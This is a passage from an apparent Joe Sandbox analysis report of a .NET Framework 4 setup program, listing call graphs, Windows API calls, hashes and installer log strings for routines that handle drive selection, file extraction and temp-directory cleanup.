af3482 18605->18607 18609 af34bb 18606->18609 18611 af34a6 18606->18611 18608 aeb059 __mtinitlocknum 66 API calls 18607->18608 18610 af3487 18608->18610 18620 aeeaec 18609->18620 18612 aeaffd __woutput_s_l 11 API calls 18610->18612 18613 aeb059 __mtinitlocknum 66 API calls 18611->18613 18618 af3492 18612->18618 18616 af34ab 18613->18616 18617 aeaffd __woutput_s_l 11 API calls 18616->18617 18617->18618 18618->18592 18619 aeb0db __flsbuf 97 API calls 18619->18618 18621 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 18620->18621 18622 aeeb53 18621->18622 18623 aeeb57 18622->18623 18625 aee8bc __fclose_nolock 66 API calls 18622->18625 18636 aeeb8e __aulldvrm __woutput_s_l _strlen 18622->18636 18624 aeb059 __mtinitlocknum 66 API calls 18623->18624 18626 aeeb5c 18624->18626 18625->18636 18627 aeaffd __woutput_s_l 11 API calls 18626->18627 18628 aeeb67 18627->18628 18629 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 18628->18629 18630 aef673 18629->18630 18630->18618 18630->18619 18631 aef7f2 __isleadbyte_l 76 API calls 18631->18636 18632 aec318 _free 66 API calls 18632->18636 18633 aef1e3 _DecodePointerInternal 18633->18636 18634 af1e33 78 API calls __cftof 18634->18636 18635 aedbda __malloc_crt 66 API calls 18635->18636 18636->18623 18636->18628 18636->18631 18636->18632 18636->18633 18636->18634 18636->18635 18637 aef24c _DecodePointerInternal 18636->18637 18638 aef26d _DecodePointerInternal 18636->18638 18639 aeea73 97 API calls _write_string 18636->18639 18640 af1e55 97 API calls _write_string 18636->18640 18637->18636 18638->18636 18639->18636 18640->18636 18642 aebf5c 18641->18642 18643 aebf47 18641->18643 18645 aebf6a 18642->18645 18646 aebf77 18642->18646 18644 aeb059 __mtinitlocknum 66 API calls 18643->18644 18648 aebf4c 18644->18648 18647 aeb059 __mtinitlocknum 66 API calls 18645->18647 18657 aebe41 18646->18657 18649 aebf6f 18647->18649 18651 aeaffd __woutput_s_l 11 API calls 18648->18651 18654 aeaffd __woutput_s_l 11 API calls 18649->18654 18653 aebf57 18651->18653 18653->16578 18655 aebfaf 18654->18655 18655->16578 18656 aeb059 __mtinitlocknum 66 API calls 18656->18649 18658 aebe5f 18657->18658 18659 aebe77 18657->18659 18660 aeb059 __mtinitlocknum 66 API calls 18658->18660 18662 aebe86 18659->18662 18667 aebe9e 18659->18667 18661 aebe64 18660->18661 18663 aeaffd __woutput_s_l 11 API calls 18661->18663 18664 aeb059 __mtinitlocknum 66 API calls 18662->18664 18670 aebe6f 18663->18670 18665 aebe8b 18664->18665 18666 aeaffd __woutput_s_l 11 API calls 18665->18666 18666->18670 18668 aebee5 18667->18668 18669 aeb0db __flsbuf 97 API calls 18667->18669 18667->18670 18668->18670 18671 aeb0db __flsbuf 97 API calls 18668->18671 18669->18668 18670->18655 18670->18656 18671->18670 18672->16581 18674 ad8dcb FormatMessageW 18673->18674 18675 ad8dc6 18673->18675 18676 ad8def GetLastError 18674->18676 18677 ad8e12 18674->18677 18675->18674 18678 ad8dfb 18676->18678 18679 ad8889 7 API calls 18677->18679 18680 ad5d40 18678->18680 18681 ad8e24 LocalFree 18678->18681 18679->18678 18680->16628 18680->16629 18681->18680 18683 ae9933 __fcloseall 18682->18683 18684 aed1bd __lock 61 API calls 18683->18684 18685 ae993a 18684->18685 18713 ae9927 _doexit 66 API calls 18712->18713 18714 ae9a98 18713->18714

                    Executed Functions

                    Function 00AD59A6 Relevance: 42.2, APIs: 11, Strings: 13, Instructions: 239COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 127 ad59a6-ad59fc GetModuleHandleW call ad6c5c 130 ad59fe-ad5a03 127->130 131 ad5a08-ad5a0e 127->131 132 ad5bbf-ad5bc6 call ad854a 130->132 133 ad5ad8-ad5ade call ad8417 131->133 134 ad5a14-ad5ac3 call ae91e9 call aede40 call ae921c PathRemoveExtensionW call aede40 GetEnvironmentVariableW call ae9284 call ad8889 131->134 143 ad5bc7-ad5bd2 call ad68fb 132->143 138 ad5ae3-ad5afa call ad60af 133->138 184 ad5acf-ad5ad6 134->184 185 ad5ac5-ad5aca 134->185 148 ad5afc-ad5b01 138->148 149 ad5b06-ad5b1d call ad6123 138->149 151 ad5bd9-ad5be1 143->151 152 ad5bd4 call ada414 143->152 148->132 162 ad5b1f-ad5b24 149->162 163 ad5b29-ad5b2f 149->163 156 ad5bea-ad5bef call ad6463 151->156 157 ad5be3-ad5be8 151->157 152->151 160 ad5bf4-ad5bf6 156->160 157->160 165 ad5bf8-ad5bfe 160->165 166 ad5c07-ad5c27 call ad84c7 call ad8e9c 160->166 162->132 168 ad5b37 163->168 169 ad5b31-ad5b35 163->169 165->166 170 ad5c00-ad5c02 call ad5cda 165->170 186 ad5c3c-ad5c42 166->186 187 ad5c29-ad5c34 call ad84c7 166->187 172 ad5b41-ad5b57 call ad6ef5 168->172 169->168 169->172 170->166 181 ad5b59-ad5b5e 172->181 182 ad5b60-ad5b87 #17 GetTickCount call ad621f 172->182 181->132 194 ad5b89-ad5b8e 182->194 195 ad5b90-ad5ba0 GetTickCount call ad5945 182->195 184->133 184->138 185->132 191 ad5c4d-ad5c5b 186->191 192 ad5c44-ad5c48 call ad8e6f 186->192 193 ad5c39 187->193 197 ad5c5d-ad5c64 CloseHandle 191->197 198 ad5c6b-ad5c72 191->198 192->191 193->186 194->132 195->143 208 ad5ba2-ad5baf call ad5e0b 195->208 197->198 200 ad5c74-ad5c7a call ad8e6f 198->200 201 ad5c80-ad5c87 198->201 200->201 204 ad5c8f-ad5c96 201->204 205 ad5c89-ad5c8a call ad8e6f 201->205 206 ad5c9e-ad5ca5 204->206 207 ad5c98-ad5c99 call ad8e6f 204->207 205->204 212 ad5cad-ad5caf 206->212 213 ad5ca7-ad5ca8 call ad8e6f 206->213 207->206 218 ad5bb4-ad5bb8 208->218 216 ad5cb7-ad5cb9 212->216 217 ad5cb1-ad5cb5 212->217 213->212 219 ad5cbe-ad5cd2 call ae91d5 216->219 217->219 218->143 220 ad5bba 218->220 220->132
                    APIs
                    • GetModuleHandleW.KERNEL32(00000000), ref: 00AD59E3
                      • Part of subcall function 00AD6C5C: GetCommandLineW.KERNEL32(?,00000000,00AFBEF0), ref: 00AD6C76
                      • Part of subcall function 00AD6C5C: CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00AD6C84
                      • Part of subcall function 00AD6C5C: GetLastError.KERNEL32 ref: 00AD6C91
                    • _wcsrchr.LIBCMT ref: 00AD5A1C
                    • _memset.LIBCMT ref: 00AD5A37
                    • PathRemoveExtensionW.SHLWAPI(?), ref: 00AD5A58
                    • _memset.LIBCMT ref: 00AD5A72
                    • GetEnvironmentVariableW.KERNEL32(temp,?,00000104), ref: 00AD5A88
                    • swprintf.LIBCMT ref: 00AD5AA3
                      • Part of subcall function 00AD6463: GetProcessHeap.KERNEL32(00000000,00000000,759223A0,?,00AD5BF4), ref: 00AD64A0
                      • Part of subcall function 00AD6463: HeapFree.KERNEL32(00000000,?,00AD5BF4), ref: 00AD64A7
                    • CloseHandle.KERNELBASE(FFFFFFFF), ref: 00AD5C5E
                      • Part of subcall function 00AD8E6F: GetProcessHeap.KERNEL32(00000000,00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E79
                      • Part of subcall function 00AD8E6F: HeapFree.KERNEL32(00000000,?,00AD85A8,00000000,00000000,?,?,00AD6E90,00000000), ref: 00AD8E80
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$CommandFreeHandleLineProcess_memset$ArgvCloseEnvironmentErrorExtensionLastModulePathRemoveVariable_wcsrchrswprintf
                    • String ID: 8A$=== Logging stopped: %S ===$Exiting with result code: 0x%x$Failed to allocate log$Failed to execute file$Failed to extract$Failed to initialize arguments$Failed to open the box$Failed to select and/or prepare the directory for extraction$Unable to estimate the required size$X"$\dd_%s_decompression_log.txt$temp
                    • API String ID: 4209647820-326577979
                    • Opcode ID: f0c42aa9ace02d5d98b00a0a65b099e1d5801605948c93ee5fcc58af65851eab
                    • Instruction ID: 1a81f9dbe0154d935c4d7565fd954537a9d7e738354ef6ef83d6a5daef5f9b3d
                    • Opcode Fuzzy Hash: f0c42aa9ace02d5d98b00a0a65b099e1d5801605948c93ee5fcc58af65851eab
                    • Instruction Fuzzy Hash: 0D8122B2914B41ABC711EFB4DD46AAB77F9BB84700F00092BF15793351EB74C9048BA2
                    Function 00AD774A Relevance: 38.7, APIs: 6, Strings: 16, Instructions: 244COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 223 ad774a-ad7782 call ad7cd0 226 ad7784-ad7793 call ad87eb 223->226 227 ad77a7-ad77ca call ad84c7 call ad87eb 223->227 226->227 232 ad7795-ad77a2 call ad854a 226->232 237 ad77cc-ad77d1 227->237 238 ad77d6-ad77ec GetLogicalDriveStringsW 227->238 239 ad79ef-ad79f2 232->239 240 ad79d8-ad79df call ad854a 237->240 241 ad77ee-ad77f8 GetLastError 238->241 242 ad7819-ad781b 238->242 246 ad79fc-ad7a02 239->246 247 ad79f4-ad79f7 call ad8e6f 239->247 259 ad79e0-ad79e5 240->259 248 ad7808 241->248 249 ad77fa-ad7806 241->249 243 ad781d-ad782a call ad87eb 242->243 244 ad7834-ad783b 242->244 243->237 261 ad782c-ad7832 GetLogicalDriveStringsW 243->261 254 ad7958-ad795d 244->254 255 ad7841-ad7869 CharUpperW call ad84c7 call ae95a3 244->255 247->246 250 ad780f-ad7814 248->250 251 ad780a 248->251 249->248 250->240 251->250 257 ad79d3 254->257 267 ad787f-ad788b call ad7a0a 255->267 268 ad786b 255->268 257->240 259->239 262 ad79e7-ad79ea call ad8e6f 259->262 261->244 262->239 274 ad795f-ad7964 267->274 275 ad7891-ad7895 267->275 270 ad7870-ad7872 call ad84c7 268->270 273 ad7877-ad787a 270->273 276 ad792b-ad7930 273->276 274->240 277 ad789f-ad78a9 call ad768d 275->277 278 ad7897-ad789d 275->278 280 ad7932-ad793b 276->280 283 ad78ab-ad78b0 277->283 284 ad78b2-ad78bb call ad7ae7 277->284 278->270 280->280 282 ad793d-ad7948 280->282 282->255 285 ad794e-ad7951 282->285 283->270 296 ad7966-ad796b 284->296 297 ad78c1-ad78c4 284->297 287 ad796d-ad7976 285->287 288 ad7953-ad7956 285->288 289 ad7978 287->289 290 ad79ab-ad79ae 287->290 288->254 288->287 292 ad797f-ad7989 call ad84c7 289->292 293 ad797a-ad797d 289->293 294 ad79ce 290->294 295 ad79b0 290->295 305 ad798e-ad7991 292->305 293->290 293->292 294->257 299 ad79b7-ad79cc call ad84c7 295->299 300 ad79b2-ad79b5 295->300 296->240 301 ad78ce-ad78f1 GetDiskFreeSpaceExW 297->301 302 ad78c6-ad78cc 297->302 309 ad7994-ad79a2 call ad8889 299->309 300->294 300->299 301->276 304 ad78f3-ad78fd 301->304 302->270 307 ad78ff-ad7902 304->307 308 ad7916-ad7919 304->308 305->309 307->308 310 ad7904 307->310 308->276 311 ad791b 308->311 309->259 318 ad79a4-ad79a9 309->318 313 ad790b-ad7914 310->313 314 ad7906-ad7909 310->314 315 ad791d-ad7920 311->315 316 ad7922-ad7928 311->316 313->276 314->308 314->313 315->276 315->316 316->276 318->240
                    APIs
                      • Part of subcall function 00AD87EB: GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                      • Part of subcall function 00AD87EB: HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • GetLogicalDriveStringsW.KERNELBASE(0000009C,?,00000000,00000000,00AFBEF0,?,?,00AD6F09,?,?,00000000,?,?,00AD5B53,?,?), ref: 00AD77E5
                    • GetLastError.KERNEL32(?,?,00AD6F09,?,?,00000000,?,?,00AD5B53,?,?,?,?,?,00AFBEF0), ref: 00AD77EE
                    Strings
                    • Drive '%S' is rejected because it's a resource of a cluster, xrefs: 00AD786B
                    • Drive '%S' is rejected because of the unknown or unsuitable drive type, xrefs: 00AD7898
                    • Drive '%S' has been selected as the largest fixed drive, xrefs: 00AD7982
                    • Drive '%S' is rejected because it can't be written to, xrefs: 00AD78C7
                    • Insufficient size on any available drives, xrefs: 00AD79CE
                    • Considering drive: '%S'..., xrefs: 00AD7849
                    • Failed to dtermine whether a drive can be written to, xrefs: 00AD7966
                    • Drive '%S' is rejected because it's not a hard disk or RAM disk, xrefs: 00AD78AB
                    • Unable to get the drive type, xrefs: 00AD795F
                    • Unable to allocate a string for extracion drive, xrefs: 00AD79A4
                    • Failed to get logical drives, xrefs: 00AD780F
                    • Failed to find any drive to extract to, xrefs: 00AD7958
                    • Failed to allocate memory for logical drives, xrefs: 00AD77CC
                    • Cluster drive map: '%S', xrefs: 00AD77AA
                    • Unable to allocate the cluster drive map, xrefs: 00AD7795
                    • Drive '%S' has been selected as the largest removable drive, xrefs: 00AD79BA
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$AllocDriveErrorLastLogicalProcessStrings
                    • String ID: Cluster drive map: '%S'$Considering drive: '%S'...$Drive '%S' has been selected as the largest fixed drive$Drive '%S' has been selected as the largest removable drive$Drive '%S' is rejected because it can't be written to$Drive '%S' is rejected because it's a resource of a cluster$Drive '%S' is rejected because it's not a hard disk or RAM disk$Drive '%S' is rejected because of the unknown or unsuitable drive type$Failed to allocate memory for logical drives$Failed to dtermine whether a drive can be written to$Failed to find any drive to extract to$Failed to get logical drives$Insufficient size on any available drives$Unable to allocate a string for extracion drive$Unable to allocate the cluster drive map$Unable to get the drive type
                    • API String ID: 3325457267-4228337169
                    • Opcode ID: 2f802ba3f18131180b05ccd99e94d9140be74204836b2bde78f05afd2e9fd589
                    • Instruction ID: 7867fddce3aa0ed3eb42263589bee2679be73c2430c91ad329b0e3b356bfe63b
                    • Opcode Fuzzy Hash: 2f802ba3f18131180b05ccd99e94d9140be74204836b2bde78f05afd2e9fd589
                    • Instruction Fuzzy Hash: 7281B472D08215ABCF19AF94D9419EEBBB5BF48750F61052BE507B3340FB709A81CB91
                    Function 00AD92BB Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 213fileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 382 ad92bb-ad92f2 call ad9926 385 ad92f8-ad9317 GetFileAttributesW 382->385 386 ad9547-ad954e 382->386 389 ad9319-ad9323 GetLastError 385->389 390 ad9335-ad9338 385->390 387 ad955c-ad9563 386->387 388 ad9550-ad9556 FindClose 386->388 393 ad9565-ad956b call ad8e6f 387->393 394 ad9570-ad9572 387->394 388->387 395 ad932f 389->395 396 ad9325-ad932d 389->396 391 ad933e-ad9347 390->391 392 ad9542 390->392 397 ad9349-ad9358 SetFileAttributesW 391->397 398 ad9376-ad937b 391->398 392->386 393->394 400 ad9574-ad9582 RemoveDirectoryW 394->400 401 ad9597-ad959e 394->401 395->390 395->401 396->395 397->398 404 ad935a-ad9364 GetLastError 397->404 405 ad937d-ad9380 398->405 406 ad9386-ad939d call ad8889 398->406 400->401 407 ad9584-ad958c GetLastError 400->407 402 ad95ab-ad95bb call ae91d5 401->402 403 ad95a0-ad95a6 call ad8e6f 401->403 403->402 410 ad9366-ad936e 404->410 411 ad9370 404->411 405->400 405->406 406->387 417 ad93a3-ad93b9 call ad8abb 406->417 413 ad958e-ad9593 407->413 414 ad9595 407->414 410->411 411->398 411->401 413->414 414->401 417->387 420 ad93bf-ad93db FindFirstFileW 417->420 421 ad93dd-ad93e7 GetLastError 420->421 422 ad93f9-ad9403 420->422 425 ad93e9-ad93f1 421->425 426 ad93f3 421->426 423 ad942f-ad9446 call ad8889 422->423 424 ad9405-ad940e 422->424 423->386 435 ad944c-ad9466 call ad8abb 423->435 427 ad9509-ad951e FindNextFileW 424->427 428 ad9414-ad941e 424->428 425->426 426->387 426->422 427->422 432 ad9524-ad952d GetLastError 427->432 428->423 430 ad9420-ad9429 428->430 430->423 430->427 433 ad952f-ad9531 432->433 434 ad9533-ad9535 432->434 433->386 436 ad953e-ad9540 434->436 437 ad9537-ad953c 434->437 435->386 440 ad946c-ad946f 435->440 436->386 437->436 441 ad94aa-ad94ad 440->441 442 ad9471-ad9478 440->442 441->427 443 ad94af-ad94b6 441->443 442->441 444 ad947a-ad948f call ad8abb 442->444 445 ad94b8-ad94c7 SetFileAttributesW 443->445 446 ad94e1-ad94ef DeleteFileW 443->446 444->386 451 ad9495-ad94a1 call ad92bb 444->451 445->446 448 ad94c9-ad94d3 GetLastError 445->448 446->427 449 ad94f1-ad94fb GetLastError 446->449 452 ad94df 448->452 453 ad94d5-ad94dd 448->453 454 ad94fd-ad9503 449->454 455 ad9507 449->455 458 ad94a6-ad94a8 451->458 452->386 452->446 453->452 457 ad9505 454->457 455->386 455->427 457->455 458->457
                    APIs
                    • GetFileAttributesW.KERNELBASE(00000000,?,00000000,00000000,00AFBEF0), ref: 00AD930C
                    • GetLastError.KERNEL32 ref: 00AD9319
                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00AD9354
                    • GetLastError.KERNEL32 ref: 00AD935A
                    • FindFirstFileW.KERNELBASE(00000000,?,\*.*,00000000,00000000), ref: 00AD93CC
                    • GetLastError.KERNEL32 ref: 00AD93DD
                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,00000000,00000000), ref: 00AD94C3
                    • GetLastError.KERNEL32 ref: 00AD94C9
                    • DeleteFileW.KERNEL32(00000000,?,00000000,00000000), ref: 00AD94E7
                    • GetLastError.KERNEL32 ref: 00AD94F1
                    • FindNextFileW.KERNELBASE(000000FF,?,?,00000000,00000000), ref: 00AD9516
                    • GetLastError.KERNEL32 ref: 00AD9524
                    • FindClose.KERNELBASE(000000FF,?,00000000,00000000,00AFBEF0), ref: 00AD9556
                    • RemoveDirectoryW.KERNELBASE(00000000,?,00000000,00000000,00AFBEF0), ref: 00AD957A
                    • GetLastError.KERNEL32 ref: 00AD9584
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorLast$File$AttributesFind$CloseDeleteDirectoryFirstNextRemove
                    • String ID: \*.*
                    • API String ID: 2447602905-1173974218
                    • Opcode ID: 1fda7e225668bf0de72d27e29f368f984f822cd16a53618bec54b3bb21d35d6f
                    • Instruction ID: a757752bc898c226c4f6c22133c116a879e99f66fb3c7a083c781875ac812b5b
                    • Opcode Fuzzy Hash: 1fda7e225668bf0de72d27e29f368f984f822cd16a53618bec54b3bb21d35d6f
                    • Instruction Fuzzy Hash: A9718132D0163A9BDB326B64DD487AF7B60AF04750F0502B7AD0BE6391D731CE85DA90
                    Function 00AD621F Relevance: 22.7, APIs: 6, Strings: 9, Instructions: 191memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 459 ad621f-ad624f GetProcessHeap HeapAlloc 460 ad6251-ad625b 459->460 461 ad6260-ad6268 459->461 462 ad63ed-ad63f4 call ad854a 460->462 463 ad62fd-ad6305 461->463 464 ad626e 461->464 475 ad63f5 call ad68fb 462->475 466 ad6307-ad632e GetProcessHeap HeapAlloc 463->466 467 ad6353-ad635e call ad676f 463->467 465 ad6271-ad627a call ad9dc6 464->465 474 ad627f-ad6283 465->474 466->467 471 ad6330-ad633a 466->471 477 ad636a-ad6389 call ad84c7 call ad69b0 467->477 478 ad6360-ad6365 467->478 471->462 479 ad633f-ad6344 474->479 480 ad6289-ad629a call ad9ef3 474->480 481 ad63fa-ad63ff 475->481 501 ad63d8-ad63e6 call ad69b0 call ad69e3 477->501 502 ad638b-ad6394 call ad69e3 477->502 478->462 479->462 488 ad6349-ad634e 480->488 489 ad62a0-ad62a4 480->489 484 ad643c-ad6442 481->484 485 ad6401-ad6407 481->485 490 ad6409-ad6411 485->490 491 ad6421-ad6435 GetProcessHeap HeapFree 485->491 488->462 493 ad62ae-ad62b9 489->493 494 ad62a6-ad62ac 489->494 495 ad6418-ad641f 490->495 496 ad6413 call ada46e 490->496 491->484 498 ad6437 call ad9a29 491->498 499 ad62bb-ad62c0 493->499 494->499 495->490 495->491 496->495 498->484 504 ad62e7-ad62f7 499->504 505 ad62c2-ad62c5 499->505 501->481 514 ad63e8 501->514 502->514 515 ad6396-ad6399 502->515 504->463 504->465 508 ad62c8-ad62cc 505->508 511 ad62ce-ad62d1 508->511 512 ad62d3-ad62df 508->512 516 ad62e1-ad62e5 511->516 512->516 514->462 518 ad639b-ad63aa call ada003 515->518 519 ad63b0-ad63b9 call ad69e3 515->519 516->504 516->508 518->519 525 ad6445-ad644b 518->525 519->514 524 ad63bb-ad63c7 call ada222 519->524 528 ad63cc-ad63d0 524->528 527 ad6453-ad645c call ad854a 525->527 527->475 530 ad644d-ad644e 528->530 531 ad63d2-ad63d6 528->531 530->527 531->501 531->502
                    APIs
                    • GetProcessHeap.KERNEL32(00000008,?,00000000,759223A0,00000000,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD623D
                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD6244
                    • GetProcessHeap.KERNEL32(00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD631A
                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD6321
                    • GetProcessHeap.KERNEL32(00000000,?,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD6426
                    • HeapFree.KERNEL32(00000000,?,00000000,00000002,?,?,?,?,?,?,?,00AD5B83,00AFBEF0), ref: 00AD642D
                    Strings
                    • Failed to start reporting progress, xrefs: 00AD6360
                    • Failed to verify box container #%d., xrefs: 00AD6446
                    • Failed to read container header., xrefs: 00AD6349
                    • Extracting files to: %S, xrefs: 00AD636D
                    • User canceled extraction..., xrefs: 00AD63E8
                    • Failed to allocate memory to hold container handles., xrefs: 00AD6256
                    • Failed to extract all files out of box container #%d., xrefs: 00AD644E
                    • Failed to open container., xrefs: 00AD633F
                    • Failed to alloc cleanup list buffer, xrefs: 00AD6335
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$Alloc$Free
                    • String ID: Extracting files to: %S$Failed to alloc cleanup list buffer$Failed to allocate memory to hold container handles.$Failed to extract all files out of box container #%d.$Failed to open container.$Failed to read container header.$Failed to start reporting progress$Failed to verify box container #%d.$User canceled extraction...
                    • API String ID: 1864747095-3704756192
                    • Opcode ID: 033028aa98967eda7ac3895c6bf959343b768acf903acbfe025714ba745e6e19
                    • Instruction ID: e3b2c0d64357c33d2fcf280f2f17838c1d4e23e3342cb06c32c9cbe8ca0f4e97
                    • Opcode Fuzzy Hash: 033028aa98967eda7ac3895c6bf959343b768acf903acbfe025714ba745e6e19
                    • Instruction Fuzzy Hash: B461D236D01226ABCB219F98C986AAEB770FF04710F154667E913AB352DB70DD01CBA1
                    Function 00AD7C12 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 56libraryfileloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 564 ad7c12-ad7c1e 565 ad7c8c-ad7c99 DecryptFileW 564->565 566 ad7c20-ad7c2d LoadLibraryW 564->566 569 ad7c9b-ad7ca3 GetLastError 565->569 570 ad7cc5-ad7cc8 565->570 567 ad7c2f-ad7c37 GetLastError 566->567 568 ad7c53-ad7c66 GetProcAddress 566->568 571 ad7c39-ad7c43 567->571 572 ad7c45 567->572 568->565 573 ad7c68-ad7c70 GetLastError 568->573 574 ad7ca5-ad7caf 569->574 575 ad7cb1 569->575 571->572 578 ad7c4c-ad7c51 572->578 579 ad7c47 572->579 580 ad7c7e 573->580 581 ad7c72-ad7c7c 573->581 574->575 576 ad7cb8 575->576 577 ad7cb3 575->577 582 ad7cbd-ad7cc4 call ad854a 576->582 577->576 578->582 579->578 583 ad7c85-ad7c8a 580->583 584 ad7c80 580->584 581->580 582->570 583->582 584->583
                    APIs
                    • LoadLibraryW.KERNEL32(advapi32.dll,?,00AD6F3D,00ED4138,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?), ref: 00AD7C25
                    • GetLastError.KERNEL32(?,00AD6F3D,00ED4138,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?,?), ref: 00AD7C2F
                    • GetProcAddress.KERNEL32(00000000,DecryptFileW), ref: 00AD7C59
                    • GetLastError.KERNEL32(?,00AD6F3D,00ED4138,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?,?), ref: 00AD7C68
                    • DecryptFileW.ADVAPI32(?,00000000), ref: 00AD7C91
                    • GetLastError.KERNEL32(?,00AD6F3D,00ED4138,00ED4138,00000000,?,?,00000000,?,?,00AD5B53,?,?,?,?,?), ref: 00AD7C9B
                    Strings
                    • DecryptFileW, xrefs: 00AD7C53
                    • Failed to load advapi32.dll, xrefs: 00AD7C4C
                    • Failed to load DecryptFileW from advapi.dll, xrefs: 00AD7C85
                    • Failed to decrypt the extract directory, xrefs: 00AD7CB8
                    • advapi32.dll, xrefs: 00AD7C20
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorLast$AddressDecryptFileLibraryLoadProc
                    • String ID: DecryptFileW$Failed to decrypt the extract directory$Failed to load DecryptFileW from advapi.dll$Failed to load advapi32.dll$advapi32.dll
                    • API String ID: 156776402-3428403797
                    • Opcode ID: cf747007c658e983553d8eafb593886961955bd9bd17f6a8e7a44ac8e5686839
                    • Instruction ID: b35a24e0b8c6edfdeb2297bd27268e43f1050f4bc70ffe5d783897ce389f917b
                    • Opcode Fuzzy Hash: cf747007c658e983553d8eafb593886961955bd9bd17f6a8e7a44ac8e5686839
                    • Instruction Fuzzy Hash: 3D1180317A8202BFF3286BB6AE0E76A3A9C6F10754F10043BBA0BD53A1F77CC5458654
                    Function 00AD751D Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 128encryptionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
